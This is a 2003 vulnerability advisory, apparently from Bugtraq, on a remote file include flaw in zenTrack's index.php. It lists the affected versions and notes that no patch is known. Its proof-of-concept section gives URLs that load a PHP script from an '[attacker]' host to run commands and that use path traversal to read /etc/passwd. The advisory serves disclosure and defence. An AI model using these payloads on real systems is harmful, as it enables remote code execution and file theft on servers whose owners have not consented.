Zentrack Index.PHP Remote File Include Vulnerability

Bugtraq ID:	7843
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 06 2003 12:00AM
Updated:	Jun 06 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to farking <[email protected]>.
Vulnerable:	Zendocs zenTrack 2.4 .1 Zendocs zenTrack 2.4 Zendocs zenTrack 2.3.2 Zendocs zenTrack 2.3.1 Zendocs zenTrack 2.3 Zendocs zenTrack 2.2.2 Zendocs zenTrack 2.2.1 Zendocs zenTrack 2.2
Not Vulnerable:

Zentrack Index.PHP Remote File Include Vulnerability

A remote file include vulnerability has been reported for Zentrack. Due to insufficient sanitization of some user-supplied variables by the 'index.php' script, it is possible for a remote attacker to include a malicious PHP file in a URL.

If the remote file is a malicious PHP script, this may allow for the execution of attacker-supplied PHP code with the privileges of the web server. Successful exploitation may provide unauthorized remote access to the attacker. This issue may also be exploited to remotely view files on the vulnerable host.

Zentrack Index.PHP Remote File Include Vulnerability

The following proof of concept has been provided:

http://www.example.com/zentrack/index.php?configFile=http://[attacker]/cmd.php?
cmd=pwd

http://www.example.com/zentrack/www/index.php?libDir=http://
[attacker]/test/&cmd=pwd

http://www.exmaple.com/zentrack/index.php?configFile=/../../../../../etc/passwd

Zentrack Index.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Zentrack Index.PHP Remote File Include Vulnerability

References:

• zenTrack Homepage (Zendocs)
  
• Re: zenTrack Remote Command Execution Vulnerabilities (gr00vy )
  
• zenTrack Remote Command Execution Vulnerabilities (farking )